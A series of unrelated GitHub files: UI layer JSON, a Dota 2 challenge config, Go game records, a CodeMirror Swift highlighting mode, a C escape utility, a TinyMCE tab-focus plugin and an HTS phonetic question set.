"y": 28,
"width": 91,
"height": 40
},
"visible": false,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-animals_selected-ouuyntu5.png",
"frame": {
"x": 355,
"y": 28,
"width": 91,
"height": 40
}
},
"children": []
}
]
},
{
"objectId": "5B86DE06-AAC5-4983-B7F7-AACA1232DD01",
"kind": "group",
"name": "food",
"originalName": "food",
"maskFrame": null,
"layerFrame": {
"x": 300,
"y": 41,
"width": 37,
"height": 13
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-food-nui4nkrf.png",
"frame": {
"x": 300,
"y": 41,
"width": 37,
"height": 13
}
},
"children": [
{
"objectId": "2BD98F0E-F80D-4EBD-A259-45304648B83B",
"kind": "group",
"name": "food_selected",
"originalName": "food-selected",
"maskFrame": null,
"layerFrame": {
"x": 284,
"y": 28,
"width": 69,
"height": 40
},
"visible": false,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-food_selected-mkjeothg.png",
"frame": {
"x": 284,
"y": 28,
"width": 69,
"height": 40
}
},
"children": []
}
]
},
{
"objectId": "064F9F02-B72C-469F-8AC6-E5A293DEA213",
"kind": "group",
"name": "home",
"originalName": "home",
"maskFrame": null,
"layerFrame": {
"x": 174,
"y": 41,
"width": 93,
"height": 13
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-home-mdy0rjlg.png",
"frame": {
"x": 174,
"y": 41,
"width": 93,
"height": 13
}
},
"children": [
{
"objectId": "A0ED9523-7296-422D-BDB1-8CE5843F9BAF",
"kind": "group",
"name": "home_selected",
"originalName": "home-selected",
"maskFrame": null,
"layerFrame": {
"x": 158,
"y": 28,
"width": 124,
"height": 40
},
"visible": false,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-home_selected-qtbfrdk1.png",
"frame": {
"x": 158,
"y": 28,
"width": 124,
"height": 40
}
},
"children": []
}
]
},
{
"objectId": "3CB7159A-564A-43E4-840A-BB89B3305930",
"kind": "group",
"name": "pfy",
"originalName": "pfy",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 28,
"width": 140,
"height": 40
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pfy-m0ncnze1.png",
"frame": {
"x": 16,
"y": 28,
"width": 140,
"height": 40
}
},
"children": [
{
"objectId": "83097285-3D2A-45F6-8E72-DDA920BE9C69",
"kind": "group",
"name": "pfy_selected",
"originalName": "pfy-selected",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 28,
"width": 140,
"height": 40
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pfy_selected-odmwotcy.png",
"frame": {
"x": 16,
"y": 28,
"width": 140,
"height": 40
}
},
"children": []
}
]
},
{
"objectId": "93ABAA40-0F7F-4359-99DA-3EF79140F542",
"kind": "group",
"name": "Group",
"originalName": "Group",
"maskFrame": null,
"layerFrame": {
"x": 0,
"y": 23,
"width": 460,
"height": 52
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-Group-otnbqkfb.png",
"frame": {
"x": 0,
"y": 23,
"width": 460,
"height": 52
}
},
"children": []
}
]
}
]
|
{
"pile_set_name": "Github"
}
|
"spectre_dispersion_damage_reality"
{
"challengetype" "194"
"desc" "#DOTA_ChallengeDesc_SpectreDispersionReality"
"multi_query" "1"
"requiredhero" "67"
"events"
{
"1"
{
"desc" "#DOTA_ChallengeDesc_SpectreDispersionReality_Sub1"
"status_text" "#DOTA_ChallengeStatus_SpectreDispersionReality_Sub1"
"matching_type" "linear_series"
"query"
{
"find_damage"
{
"event" "damage"
"attack" "spectre_dispersion"
"attacker" "!hero"
"target_must_be_hero" "1"
"attacker_team" "!team"
"target_team" "!enemyteam"
"storage"
{
"1"
{
"key" "value"
"aggregator" "sum"
}
}
}
}
"clear_storage_per_query" "0"
"progress_stored_in" "1"
"post_tests"
{
"test_value"
{
"storage" "1"
"compare" ">="
"amount" "<dispersion_damage>"
}
}
}
"2"
{
"desc" "#DOTA_ChallengeDesc_SpectreDispersionReality_Sub2"
"status_text" "#DOTA_ChallengeStatus_SpectreDispersionReality_Sub2"
"matching_type" "linear_series"
"query"
{
"reality_use"
{
"event" "ability"
"ability" "spectre_reality"
"caster" "!hero"
}
"separator" "5"
"kill_after_reality"
{
"event" "death"
"target_must_be_hero" "1"
"attacker" "!hero"
}
}
"progress_stored_in" "2"
"postmatch_increments"
{
"storage"
{
"2"
{
"aggregator" "increment"
}
}
}
"post_tests"
{
"test_kills_after_reality"
{
"storage" "2"
"compare" ">="
"amount" "<reality_kill_count>"
}
}
}
}
"variables"
{
"<dispersion_damage>"
{
"format" "int"
"index" "0"
}
"<reality_kill_count>"
{
"format" "int"
"index" "1"
}
}
}
|
{
"pile_set_name": "Github"
}
|
(;CA[UTF-8]AP[YuanYu]GM[1]FF[4]
SZ[19]
GN[]
DT[2018-02-06]
PB[BensonDarr]BR[9段]
PW[恬谧自述]WR[9段]
KM[750]HA[0]RU[Japanese]RE[B+R]TM[600]TC[3]TT[60]
;B[pp];W[dp];B[pc];W[dd];B[fc];W[qe];B[cf];W[df];B[dg];W[ef];B[cd]
;W[cc];B[ce];W[dc];B[gd];W[od];B[oc];W[nd];B[mc];W[md];B[lc];W[ld]
;B[kd];W[ke];B[je];W[nc];B[nb];W[ob];B[mb];W[qc];B[pb];W[jd];B[kc]
;W[kf];B[cq];W[cp];B[dq];W[fq];B[eq];W[ep];B[fr];W[qq];B[qp];W[pq]
;B[nq];W[nr];B[mr];W[oq];B[op];W[mq];B[np];W[lr];B[rq];W[ms];B[qr]
;W[pr];B[ps];W[or];B[pk];W[di];B[ch];W[ci];B[eg];W[gf];B[de];W[ee]
;B[ed];W[eb];B[fh];W[hf];B[ie];W[hh];B[ej];W[dk];B[fl];W[dl];B[qi]
;W[ol];B[nj];W[pl];B[qk];W[ml];B[lj];W[kl];B[jk];W[hj];B[mp];W[fj]
;B[gi];W[gj];B[jl];W[km];B[ei];W[jj];B[jh];W[kk];B[bc];W[bb];B[ig]
;W[gh];B[ii];W[hi];B[ij];W[hl];B[bd];W[ab];B[bi];W[bj];B[bh];W[kj]
;B[kg];W[qb];B[pd];W[pe];B[hk];W[gk];B[ik];W[gl];B[jm];W[li];B[ek]
;W[hd];B[hc];W[jn];B[mg];W[lp];B[in];W[gn];B[fm];W[hn];B[kn];W[jo]
;B[lo];W[ni];B[ql];W[pn];B[kp];W[lq];B[qn];W[bq];B[br];W[er];B[bp]
;W[cr];B[aq];W[dr];B[bq];W[gq];B[co];W[bn];B[fp];W[gp];B[cm];W[cn]
;B[dn];W[bm];B[dm];W[cl];B[fo];W[bk];B[ko])
|
{
"pile_set_name": "Github"
}
|
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
// Swift mode created by Michael Kaminsky https://github.com/mkaminsky11
(function(mod) {
if (typeof exports == "object" && typeof module == "object")
mod(require("../../lib/codemirror"))
else if (typeof define == "function" && define.amd)
define(["../../lib/codemirror"], mod)
else
mod(CodeMirror)
})(function(CodeMirror) {
"use strict"
function wordSet(words) {
var set = {}
for (var i = 0; i < words.length; i++) set[words[i]] = true
return set
}
var keywords = wordSet(["_","var","let","class","enum","extension","import","protocol","struct","func","typealias","associatedtype",
"open","public","internal","fileprivate","private","deinit","init","new","override","self","subscript","super",
"convenience","dynamic","final","indirect","lazy","required","static","unowned","unowned(safe)","unowned(unsafe)","weak","as","is",
"break","case","continue","default","else","fallthrough","for","guard","if","in","repeat","switch","where","while",
"defer","return","inout","mutating","nonmutating","catch","do","rethrows","throw","throws","try","didSet","get","set","willSet",
"assignment","associativity","infix","left","none","operator","postfix","precedence","precedencegroup","prefix","right",
"Any","AnyObject","Type","dynamicType","Self","Protocol","__COLUMN__","__FILE__","__FUNCTION__","__LINE__"])
var definingKeywords = wordSet(["var","let","class","enum","extension","import","protocol","struct","func","typealias","associatedtype","for"])
var atoms = wordSet(["true","false","nil","self","super","_"])
var types = wordSet(["Array","Bool","Character","Dictionary","Double","Float","Int","Int8","Int16","Int32","Int64","Never","Optional","Set","String",
"UInt8","UInt16","UInt32","UInt64","Void"])
var operators = "+-/*%=|&<>~^?!"
var punc = ":;,.(){}[]"
var binary = /^\-?0b[01][01_]*/
var octal = /^\-?0o[0-7][0-7_]*/
var hexadecimal = /^\-?0x[\dA-Fa-f][\dA-Fa-f_]*(?:(?:\.[\dA-Fa-f][\dA-Fa-f_]*)?[Pp]\-?\d[\d_]*)?/
var decimal = /^\-?\d[\d_]*(?:\.\d[\d_]*)?(?:[Ee]\-?\d[\d_]*)?/
var identifier = /^\$\d+|(`?)[_A-Za-z][_A-Za-z$0-9]*\1/
var property = /^\.(?:\$\d+|(`?)[_A-Za-z][_A-Za-z$0-9]*\1)/
var instruction = /^\#[A-Za-z]+/
var attribute = /^@(?:\$\d+|(`?)[_A-Za-z][_A-Za-z$0-9]*\1)/
//var regexp = /^\/(?!\s)(?:\/\/)?(?:\\.|[^\/])+\//
function tokenBase(stream, state, prev) {
if (stream.sol()) state.indented = stream.indentation()
if (stream.eatSpace()) return null
var ch = stream.peek()
if (ch == "/") {
if (stream.match("//")) {
stream.skipToEnd()
return "comment"
}
if (stream.match("/*")) {
state.tokenize.push(tokenComment)
return tokenComment(stream, state)
}
}
if (stream.match(instruction)) return "builtin"
if (stream.match(attribute)) return "attribute"
if (stream.match(binary)) return "number"
if (stream.match(octal)) return "number"
if (stream.match(hexadecimal)) return "number"
if (stream.match(decimal)) return "number"
if (stream.match(property)) return "property"
if (operators.indexOf(ch) > -1) {
stream.next()
return "operator"
}
if (punc.indexOf(ch) > -1) {
stream.next()
stream.match("..")
return "punctuation"
}
if (ch = stream.match(/("{3}|"|')/)) {
var tokenize = tokenString(ch[0])
state.tokenize.push(tokenize)
return tokenize(stream, state)
}
if (stream.match(identifier)) {
var ident = stream.current()
if (types.hasOwnProperty(ident)) return "variable-2"
if (atoms.hasOwnProperty(ident)) return "atom"
if (keywords.hasOwnProperty(ident)) {
if (definingKeywords.hasOwnProperty(ident))
state.prev = "define"
return "keyword"
}
if (prev == "define") return "def"
return "variable"
}
stream.next()
return null
}
function tokenUntilClosingParen() {
var depth = 0
return function(stream, state, prev) {
var inner = tokenBase(stream, state, prev)
if (inner == "punctuation") {
if (stream.current() == "(") ++depth
else if (stream.current() == ")") {
if (depth == 0) {
stream.backUp(1)
state.tokenize.pop()
return state.tokenize[state.tokenize.length - 1](stream, state)
}
else --depth
}
}
return inner
}
}
function tokenString(quote) {
var singleLine = quote.length == 1
return function(stream, state) {
var ch, escaped = false
while (ch = stream.next()) {
if (escaped) {
if (ch == "(") {
state.tokenize.push(tokenUntilClosingParen())
return "string"
}
escaped = false
} else if (stream.match(quote)) {
state.tokenize.pop()
return "string"
} else {
escaped = ch == "\\"
}
}
if (singleLine) {
state.tokenize.pop()
}
return "string"
}
}
function tokenComment(stream, state) {
var ch
while (true) {
stream.match(/^[^/*]+/, true)
ch = stream.next()
if (!ch) break
if (ch === "/" && stream.eat("*")) {
state.tokenize.push(tokenComment)
} else if (ch === "*" && stream.eat("/")) {
state.tokenize.pop()
}
}
return "comment"
}
function Context(prev, align, indented) {
this.prev = prev
this.align = align
this.indented = indented
}
function pushContext(state, stream) {
var align = stream.match(/^\s*($|\/[\/\*])/, false) ? null : stream.column() + 1
state.context = new Context(state.context, align, state.indented)
}
function popContext(state) {
if (state.context) {
state.indented = state.context.indented
state.context = state.context.prev
}
}
CodeMirror.defineMode("swift", function(config) {
return {
startState: function() {
return {
prev: null,
context: null,
indented: 0,
tokenize: []
}
},
token: function(stream, state) {
var prev = state.prev
state.prev = null
var tokenize = state.tokenize[state.tokenize.length - 1] || tokenBase
var style = tokenize(stream, state, prev)
if (!style || style == "comment") state.prev = prev
else if (!state.prev) state.prev = style
if (style == "punctuation") {
var bracket = /[\(\[\{]|([\]\)\}])/.exec(stream.current())
if (bracket) (bracket[1] ? popContext : pushContext)(state, stream)
}
return style
},
indent: function(state, textAfter) {
var cx = state.context
if (!cx) return 0
var closing = /^[\]\}\)]/.test(textAfter)
if (cx.align != null) return cx.align - (closing ? 1 : 0)
return cx.indented + (closing ? 0 : config.indentUnit)
},
electricInput: /^\s*[\)\}\]]$/,
lineComment: "//",
blockCommentStart: "/*",
blockCommentEnd: "*/",
fold: "brace",
closeBrackets: "()[]{}''\"\"``"
}
})
CodeMirror.defineMIME("text/x-swift","swift")
});
|
{
"pile_set_name": "Github"
}
|
(;CA[UTF-8]AP[YuanYu]GM[1]FF[4]
SZ[19]
GN[]
DT[2017-07-12]
PB[骊龙]BR[9段]
PW[顺利过关]WR[9段]
KM[750]HA[0]RU[Japanese]RE[W+R]TM[60]TC[3]TT[60]
;B[qd];W[dc];B[pq];W[dq];B[nc];W[cf];B[qk];W[mp];B[po];W[jp];B[do]
;W[dl];B[ho];W[hq];B[gq];W[gp];B[hp];W[iq];B[eq];W[fq];B[ep];W[gr]
;B[er];W[nd];B[od];W[mc];B[md];W[ne];B[lc];W[mb];B[oc];W[ld];B[me]
;W[kc];B[le];W[kd];B[nf];W[ke];B[cn];W[cp];B[cr];W[ii];B[bl];W[cj]
;B[fc];W[ec];B[fe];W[gc];B[fb];W[hc];B[cd];W[de];B[cc];W[dd];B[cb]
;W[be];B[gd];W[gf];B[ff];W[gg];B[hd];W[ic];B[fg];W[fh];B[eh];W[fi]
;B[ch];W[dg];B[dh];W[eg];B[bd];W[eb];B[bg];W[bf];B[dj];W[bb];B[ba]
;W[ab];B[ad];W[da];B[dk];W[qm];B[ca];W[gb];B[fa];W[he];B[pl];W[qp]
;B[pp];W[qo];B[qq];W[pm];B[om];W[rk];B[rj];W[rl];B[qj];W[rn];B[mr]
;W[go];B[li];W[fl];B[fk];W[cl];B[ck];W[el];B[cm];W[nb];B[ob];W[lk]
;B[fj];W[gl];B[hk];W[hi];B[hl];W[bk];B[bj];W[hm];B[im];W[hn];B[fn]
;W[fo];B[en];W[gn];B[kf];W[jf];B[kg];W[nk];B[cg];W[df];B[af];W[ae]
;B[ni];W[kh];B[ki];W[lf];B[mf];W[lg];B[ml];W[ll];B[lm];W[km];B[ln]
;W[kn];B[lo];W[lr];B[mq];W[lp];B[ko];W[lq];B[jo];W[jj];B[jl];W[jg]
;B[mh];W[mg];B[ng];W[kk];B[mk];W[in];B[rp];W[ro];B[rq];W[pn];B[on]
;W[jm];B[hj];W[nq];B[nr];W[mj];B[lj];W[mm];B[nl];W[nm];B[ol];W[no]
;B[nn];W[or];B[oq];W[ms];B[np];W[ns];B[nq];W[mo];B[mn];W[pr];B[qr]
;W[os];B[oo];W[sj];B[si];W[sk];B[ri];W[io];B[il];W[ji];B[fr];W[ag]
;B[ah];W[eo];B[dp];W[ei];B[na];W[di];B[ci];W[lb];B[kp];W[kq];B[fp]
;W[gq];B[gs];W[hs];B[fs];W[ma];B[oa];W[sp];B[sq];W[so];B[af];W[lh]
;B[ag];W[kj];B[mi];W[gi];B[db];W[ea];B[ce];W[ga];B[fd];W[id];B[ef]
;W[ge];B[jr];W[jq];B[ls];W[ks];B[qs];W[dm];B[dn];W[ls];B[fm];W[gm]
;B[ql];W[kl];B[gj];W[ij];B[ak];W[jk];B[ek];W[gk];B[ej];W[jn];B[sm]
;W[rm];B[hr];W[ir];B[ps];W[ik];B[em])
|
{
"pile_set_name": "Github"
}
|
#include <stddef.h>
//FIXME out gets silently truncated if outsize is too small
size_t escape(char* in, char* out, size_t outsize) {
size_t l = 0;
while(*in && l + 3 < outsize) {
switch(*in) {
case '\n':
*out++ = '\\';
l++;
*out = 'n';
break;
case '\r':
*out++ = '\\';
l++;
*out = 'r';
break;
case '\t':
*out++ = '\\';
l++;
*out = 't';
break;
case '\\':
*out++ = '\\';
l++;
*out = '\\';
break;
case '"':
*out++ = '\\';
l++;
*out = '"';
break;
case '\v':
*out++ = '\\';
l++;
*out = '\v';
break;
case '\?':
*out++ = '\\';
l++;
*out = '\?';
break;
case '\f':
*out++ = '\\';
l++;
*out = '\f';
break;
default:
*out = *in;
}
in++;
out++;
l++;
}
*out = 0;
return l;
}
#include <assert.h>
#include <stdlib.h>
size_t unescape(char* in, char *out, size_t outsize) {
size_t l = 0;
while(*in && l + 2 < outsize) {
switch (*in) {
case '\\':
++in;
assert(*in);
switch(*in) {
case 'n':
*out='\n';
break;
case 'r':
*out='\r';
break;
case 't':
*out='\t';
break;
case '\\':
*out='\\';
break;
case '"':
*out='"';
break;
case 'v':
*out='\v';
break;
case '\?':
*out = '\?';
break;
case 'f':
*out = '\f';
break;
case '\'':
*out = '\'';
break;
case 'b':
*out = '\b';
break;
// FIXME add handling of hex and octal
default:
abort();
}
break;
default:
*out=*in;
}
in++;
out++;
l++;
}
*out = 0;
return l;
}
|
{
"pile_set_name": "Github"
}
|
/**
* editor_plugin_src.js
*
* Copyright 2009, Moxiecode Systems AB
* Released under LGPL License.
*
* License: http://tinymce.moxiecode.com/license
* Contributing: http://tinymce.moxiecode.com/contributing
*/
(function() {
var DOM = tinymce.DOM, Event = tinymce.dom.Event, each = tinymce.each, explode = tinymce.explode;
tinymce.create('tinymce.plugins.TabFocusPlugin', {
init : function(ed, url) {
function tabCancel(ed, e) {
if (e.keyCode === 9)
return Event.cancel(e);
}
function tabHandler(ed, e) {
var x, i, f, el, v;
function find(d) {
el = DOM.select(':input:enabled,*[tabindex]:not(iframe)');
function canSelectRecursive(e) {
return e.nodeName==="BODY" || (e.type != 'hidden' &&
!(e.style.display == "none") &&
!(e.style.visibility == "hidden") && canSelectRecursive(e.parentNode));
}
function canSelectInOldIe(el) {
return el.attributes["tabIndex"].specified || el.nodeName == "INPUT" || el.nodeName == "TEXTAREA";
}
function isOldIe() {
return tinymce.isIE6 || tinymce.isIE7;
}
function canSelect(el) {
return ((!isOldIe() || canSelectInOldIe(el))) && el.getAttribute("tabindex") != '-1' && canSelectRecursive(el);
}
each(el, function(e, i) {
if (e.id == ed.id) {
x = i;
return false;
}
});
if (d > 0) {
for (i = x + 1; i < el.length; i++) {
if (canSelect(el[i]))
return el[i];
}
} else {
for (i = x - 1; i >= 0; i--) {
if (canSelect(el[i]))
return el[i];
}
}
return null;
}
if (e.keyCode === 9) {
v = explode(ed.getParam('tab_focus', ed.getParam('tabfocus_elements', ':prev,:next')));
if (v.length == 1) {
v[1] = v[0];
v[0] = ':prev';
}
// Find element to focus
if (e.shiftKey) {
if (v[0] == ':prev')
el = find(-1);
else
el = DOM.get(v[0]);
} else {
if (v[1] == ':next')
el = find(1);
else
el = DOM.get(v[1]);
}
if (el) {
if (el.id && (ed = tinymce.get(el.id || el.name)))
ed.focus();
else
window.setTimeout(function() {
if (!tinymce.isWebKit)
window.focus();
el.focus();
}, 10);
return Event.cancel(e);
}
}
}
ed.onKeyUp.add(tabCancel);
if (tinymce.isGecko) {
ed.onKeyPress.add(tabHandler);
ed.onKeyDown.add(tabCancel);
} else
ed.onKeyDown.add(tabHandler);
},
getInfo : function() {
return {
longname : 'Tabfocus',
author : 'Moxiecode Systems AB',
authorurl : 'http://tinymce.moxiecode.com',
infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/tabfocus',
version : tinymce.majorVersion + "." + tinymce.minorVersion
};
}
});
// Register plugin
tinymce.PluginManager.add('tabfocus', tinymce.plugins.TabFocusPlugin);
})();
|
{
"pile_set_name": "Github"
}
|
QS prev_prev_son==- { "b^*","ch^*","d^*","dh^*","f^*","g^*","hh^*","jh^*","k^*","p^*","s^*","sh^*","t^*","th^*","v^*","z^*","zh^*" }
QS prev_prev_vc==+ { "aa^*","ae^*","ah^*","ao^*","aw^*","ax^*","ay^*","eh^*","er^*","ey^*","ih^*","iy^*","ow^*","oy^*","uh^*","uw^*" }
QS prev_prev_cvox==+ { "b^*","d^*","dh^*","g^*","jh^*","l^*","m^*","n^*","ng^*","r^*","v^*","w^*","y^*","z^*","zh^*" }
QS prev_prev_ccor==+ { "ch^*","d^*","dh^*","jh^*","l^*","n^*","r^*","s^*","sh^*","t^*","th^*","z^*","zh^*" }
QS prev_prev_cont==+ { "dh^*","f^*","hh^*","l^*","r^*","s^*","sh^*","th^*","v^*","w^*","y^*","z^*","zh^*" }
QS prev_prev_vrnd==- { "aa^*","ae^*","ah^*","aw^*","ax^*","ay^*","eh^*","er^*","ey^*","ih^*","iy^*" }
QS prev_prev_ccor==+&&son==- { "ch^*","d^*","dh^*","jh^*","s^*","sh^*","t^*","th^*","z^*","zh^*" }
QS prev_prev_cvox==- { "ch^*","f^*","hh^*","k^*","p^*","s^*","sh^*","t^*","th^*" }
QS prev_prev_cont==+&&ccor==+ { "dh^*","l^*","r^*","s^*","sh^*","th^*","z^*","zh^*" }
QS prev_prev_cont==-&&cvox==+ { "b^*","d^*","g^*","jh^*","m^*","n^*","ng^*" }
QS prev_prev_csib==+ { "ch^*","jh^*","s^*","sh^*","z^*","zh^*" }
QS prev_prev_vlng==s { "ae^*","ah^*","eh^*","ih^*","uh^*" }
QS prev_prev_vfront==2 { "ah^*","aw^*","ax^*","ay^*","er^*" }
QS prev_prev_cvox==-&&ctype==f { "f^*","hh^*","s^*","sh^*","th^*" }
QS prev_prev_cvox==+&&cplace==a { "d^*","l^*","n^*","r^*","z^*" }
QS prev_prev_cplace==l { "b^*","m^*","p^*","w^*" }
QS prev_prev_vheight==1 { "ih^*","iy^*","uh^*","uw^*" }
QS prev_prev_vlng==l { "aa^*","ao^*","iy^*","uw^*" }
QS prev_prev_vrnd==-&&vheight==3 { "aa^*","ae^*","aw^*","ay^*" }
QS prev_prev_cvox==+&&clab==+ { "b^*","m^*","v^*","w^*" }
QS prev_prev_cont==+&&cplace==a { "l^*","r^*","s^*","z^*" }
QS prev_prev_vfront==2&&vheight==2 { "ah^*","ax^*","er^*" }
QS prev_prev_ctype==s&&cplace==a { "d^*","t^*" }
QS prev_prev_vfront==1&&vheight==2 { "eh^*","ey^*" }
QS prev_prev_cvox==-&&cplace==p { "ch^*","sh^*" }
QS prev_prev_name==ey { "ey^*" }
QS prev_prev_name==f { "f^*" }
QS prev_prev_name==pau { "pau^*" }
QS prev_vc==- { "*^b-*","*^ch-*","*^d-*","*^dh-*","*^f-*","*^g-*","*^hh-*","*^jh-*","*^k-*","*^l-*","*^m-*","*^n-*","*^ng-*","*^p-*","*^r-*","*^s-*","*^sh-*","*^t-*","*^th-*","*^v-*","*^w-*","*^y-*","*^z-*","*^zh-*" }
QS prev_son==- { "*^b-*","*^ch-*","*^d-*","*^dh-*","*^f-*","*^g-*","*^hh-*","*^jh-*","*^k-*","*^p-*","*^s-*","*^sh-*","*^t-*","*^th-*","*^v-*","*^z-*","*^zh-*" }
QS prev_vc==+ { "*^aa-*","*^ae-*","*^ah-*","*^ao-*","*^aw-*","*^ax-*","*^ay-*","*^eh-*","*^er-*","*^ey-*","*^ih-*","*^iy-*","*^ow-*","*^oy-*","*^uh-*","*^uw-*" }
QS prev_cvox==+ { "*^b-*","*^d-*","*^dh-*","*^g-*","*^jh-*","*^l-*","*^m-*","*^n-*","*^ng-*","*^r-*","*^v-*","*^w-*","*^y-*","*^z-*","*^zh-*" }
QS prev_ccor==+ { "*^ch-*","*^d-*","*^dh-*","*^jh-*","*^l-*","*^n-*","*^r-*","*^s-*","*^sh-*","*^t-*","*^th-*","*^z-*","*^zh-*" }
QS prev_cont==+ { "*^dh-*","*^f-*","*^hh-*","*^l-*","*^r-*","*^s-*","*^sh-*","*^th-*","*^v-*","*^w-*","*^y-*","*^z-*","*^zh-*" }
QS prev_vrnd==- { "*^aa-*","*^ae-*","*^ah-*","*^aw-*","*^ax-*","*^ay-*","*^eh-*","*^er-*","*^ey-*","*^ih-*","*^iy-*" }
QS prev_cont==- { "*^b-*","*^ch-*","*^d-*","*^g-*","*^jh-*","*^k-*","*^m-*","*^n-*","*^ng-*","*^p-*","*^t-*" }
QS prev_ccor==+&&son==- { "*^ch-*","*^d-*","*^dh-*","*^jh-*","*^s-*","*^sh-*","*^t-*","*^th-*","*^z-*","*^zh-*" }
QS prev_cvox==- { "*^ch-*","*^f-*","*^hh-*","*^k-*","*^p-*","*^s-*","*^sh-*","*^t-*","*^th-*" }
QS prev_ctype==f { "*^dh-*","*^f-*","*^hh-*","*^s-*","*^sh-*","*^th-*","*^v-*","*^z-*","*^zh-*" }
QS prev_cvox==+&&son==- { "*^b-*","*^d-*","*^dh-*","*^g-*","*^jh-*","*^v-*","*^z-*","*^zh-*" }
QS prev_cont==+&&ccor==+ { "*^dh-*","*^l-*","*^r-*","*^s-*","*^sh-*","*^th-*","*^z-*","*^zh-*" }
QS prev_cont==+&&cvox==+ { "*^dh-*","*^l-*","*^r-*","*^v-*","*^w-*","*^y-*","*^z-*","*^zh-*" }
QS prev_ccor==+&&cvox==+ { "*^d-*","*^dh-*","*^jh-*","*^l-*","*^n-*","*^r-*","*^z-*","*^zh-*" }
QS prev_son==+ { "*^l-*","*^m-*","*^n-*","*^ng-*","*^r-*","*^w-*","*^y-*" }
QS prev_cont==-&&cvox==+ { "*^b-*","*^d-*","*^g-*","*^jh-*","*^m-*","*^n-*","*^ng-*" }
QS prev_cplace==a { "*^d-*","*^l-*","*^n-*","*^r-*","*^s-*","*^t-*","*^z-*" }
QS prev_ccor==+&&ctype==f { "*^dh-*","*^s-*","*^sh-*","*^th-*","*^z-*","*^zh-*" }
QS prev_csib==+ { "*^ch-*","*^jh-*","*^s-*","*^sh-*","*^z-*","*^zh-*" }
QS prev_vfront==3 { "*^aa-*","*^ao-*","*^ow-*","*^oy-*","*^uh-*","*^uw-*" }
QS prev_vrnd==+ { "*^ao-*","*^ow-*","*^oy-*","*^uh-*","*^uw-*" }
QS prev_vfront==1 { "*^ae-*","*^eh-*","*^ey-*","*^ih-*","*^iy-*" }
QS prev_cont==+&&ccor==+&&cvox==+ { "*^dh-*","*^l-*","*^r-*","*^z-*","*^zh-*" }
QS prev_ccor==+&&cvox==- { "*^ch-*","*^s-*","*^sh-*","*^t-*","*^th-*" }
QS prev_cont==-&&cvox==- { "*^ch-*","*^k-*","*^p-*","*^t-*" }
QS prev_son==-&&clab==+ { "*^b-*","*^f-*","*^p-*","*^v-*" }
QS prev_vrnd==-&&vlng==s { "*^ae-*","*^ah-*","*^eh-*","*^ih-*" }
QS prev_vlng==l { "*^aa-*","*^ao-*","*^iy-*","*^uw-*" }
QS prev_cont==+&&son==+ { "*^l-*","*^r-*","*^w-*","*^y-*" }
QS prev_ctype==r { "*^er-*","*^r-*","*^w-*","*^y-*" }
QS prev_cvox==-&&ctype==s { "*^k-*","*^p-*","*^t-*" }
QS prev_vrnd==-&&vlng==d { "*^aw-*","*^ay-*","*^ey-*" }
QS prev_son==+&&cplace==a { "*^l-*","*^n-*","*^r-*" }
QS prev_ctype==n { "*^m-*","*^n-*","*^ng-*" }
QS prev_cont==-&&cplace==a { "*^d-*","*^n-*","*^t-*" }
QS prev_ctype==r&&son==+ { "*^r-*","*^w-*","*^y-*" }
QS prev_cvox==-&&csib==+ { "*^ch-*","*^s-*","*^sh-*" }
QS prev_cont==+&&cvox==+&&cplace==a { "*^l-*","*^r-*","*^z-*" }
QS prev_ccor==+&&cvox==-&&ctype==f { "*^s-*","*^sh-*","*^th-*" }
QS prev_vheight==1&&vlng==s { "*^ih-*","*^uh-*" }
QS prev_son==+&&clab==+ { "*^m-*","*^w-*" }
QS prev_cvox==-&&clab==+ { "*^f-*","*^p-*" }
QS prev_cvox==+&&son==-&&clab==+ { "*^b-*","*^v-*" }
QS prev_ctype==s&&cplace==a { "*^d-*","*^t-*" }
QS prev_cvox==-&&cplace==a { "*^s-*","*^t-*" }
QS prev_cont==-&&cvox==+&&clab==+ { "*^b-*","*^m-*" }
QS prev_cont==+&&son==+&&cplace==a { "*^l-*","*^r-*" }
QS prev_vfront==1&&vheight==2 { "*^eh-*","*^ey-*" }
QS prev_vheight==2&&vlng==s { "*^ah-*","*^eh-*" }
QS prev_ctype==a { "*^ch-*","*^jh-*" }
QS prev_cont==-&&cvox==+&&cplace==a { "*^d-*","*^n-*" }
QS prev_cvox==+&&cplace==v { "*^g-*","*^ng-*" }
QS prev_cont==+&&cvox==+&&cplace==p { "*^y-*","*^zh-*" }
QS prev_name==ao { "*^ao-*" }
QS prev_name==ax { "*^ax-*" }
QS prev_name==dh { "*^dh-*" }
QS prev_name==hh { "*^hh-*" }
QS prev_name==l { "*^l-*" }
QS prev_name==n { "*^n-*" }
QS prev_name==pau { "*^pau-*" }
QS prev_name==r { "*^r-*" }
QS prev_name==sh { "*^sh-*" }
QS prev_name==t { "*^t-*" }
QS prev_name==x { "*^x-*" }
QS prev_name==z { "*^z-*" }
QS vc==- { "*-b+*","*-ch+*","*-d+*","*-dh+*","*-f+*","*-g+*","*-hh+*","*-jh+*","*-k+*","*-l+*","*-m+*","*-n+*","*-ng+*","*-p+*","*-r+*","*-s+*","*-sh+*","*-t+*","*-th+*","*-v+*","*-w+*","*-y+*","*-z+*","*-zh+*" }
QS son==- { "*-b+*","*-ch+*","*-d+*","*-dh+*","*-f+*","*-g+*","*-hh+*","*-jh+*","*-k+*","*-p+*","*-s+*","*-sh+*","*-t+*","*-th+*","*-v+*","*-z+*","*-zh+*" }
QS vc==+ { "*-aa+*","*-ae+*","*-ah+*","*-ao+*","*-aw+*","*-ax+*","*-ay+*","*-eh+*","*-er+*","*-ey+*","*-ih+*","*-iy+*","*-ow+*","*-oy+*","*-uh+*","*-uw+*" }
QS cvox==+ { "*-b+*","*-d+*","*-dh+*","*-g+*","*-jh+*","*-l+*","*-m+*","*-n+*","*-ng+*","*-r+*","*-v+*","*-w+*","*-y+*","*-z+*","*-zh+*" }
